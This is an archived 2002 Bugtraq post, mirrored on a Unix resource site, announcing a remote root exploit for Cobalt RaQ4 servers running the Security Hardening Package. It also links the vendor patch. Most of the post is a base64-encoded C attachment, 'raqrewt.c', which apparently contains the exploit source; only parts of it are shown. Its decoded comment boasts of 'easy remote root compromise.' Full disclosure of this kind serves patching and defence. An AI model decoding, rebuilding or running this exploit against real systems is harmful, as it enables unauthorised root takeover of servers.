The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Совет: Цикл с счетчиком итераций на Shell
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Cobalt RaQ4 Remote root exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 5 Dec 2002 13:38:42 -0800 (PST)
From: grazer@digit-labs.org
To: bugtraq@securityfocus.com
Subject: Cobalt RaQ4 Remote root exploit

--1070528868-40767661-1039124322=:12790
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

I've attached an exploit that will allow an attacker to gain remote
root access on Cobalt RaQ's which have the security hardening package
installed (SHP).

the official patch for this problem can be found here :
http://ftp.cobalt.sun.com/pub/packages/raq4/eng/RaQ4-en-Security-2.0.1-SHP_REM.pkg


Wouter ter Maat aka grazer@digit-labs.org
http://www.i-security.nl

--1070528868-40767661-1039124322=:12790
Content-Type: TEXT/x-csrc; name="raqrewt.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.33.0212051338420.12790@bespin.org>
Content-Description: 
Content-Disposition: attachment; filename="raqrewt.c"

Ly8gUmFRIDQgYW5kIHBvc3NpYmx5IG90aGVycyBlYXN5IHJlbW90ZSByb290
IGNvbXByb21pc2UNCi8vIGR1ZSB0byBhIGZsYXcgaW4gdGhlIFNlY3VyaXR5
IEhhcmRlbmluZyBwYWNrYWdlIEhFSEUhDQovLyBXb3V0ZXIgdGVyIE1hYXQg
YWthIGdyYXplciAtIGh0dHA6Ly93d3cuaS1zZWN1cml0eS5ubA0KIA0KI2lu
Y2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5j
bHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2lu
Y2x1ZGUgPG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w0KaWYoc3Ry
c3RyKGJ1ZiwgY21wc3RyKSE9MCkgeyANCnJldHVybiAyMDA7IH0gZWxzZSB7
IA0KcmV0dXJuIDQwNDsgfQ0KDQpjbG9zZShmZCk7DQpyZXR1cm4gMTsNCn0N
Cg0K
--1070528868-40767661-1039124322=:12790--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.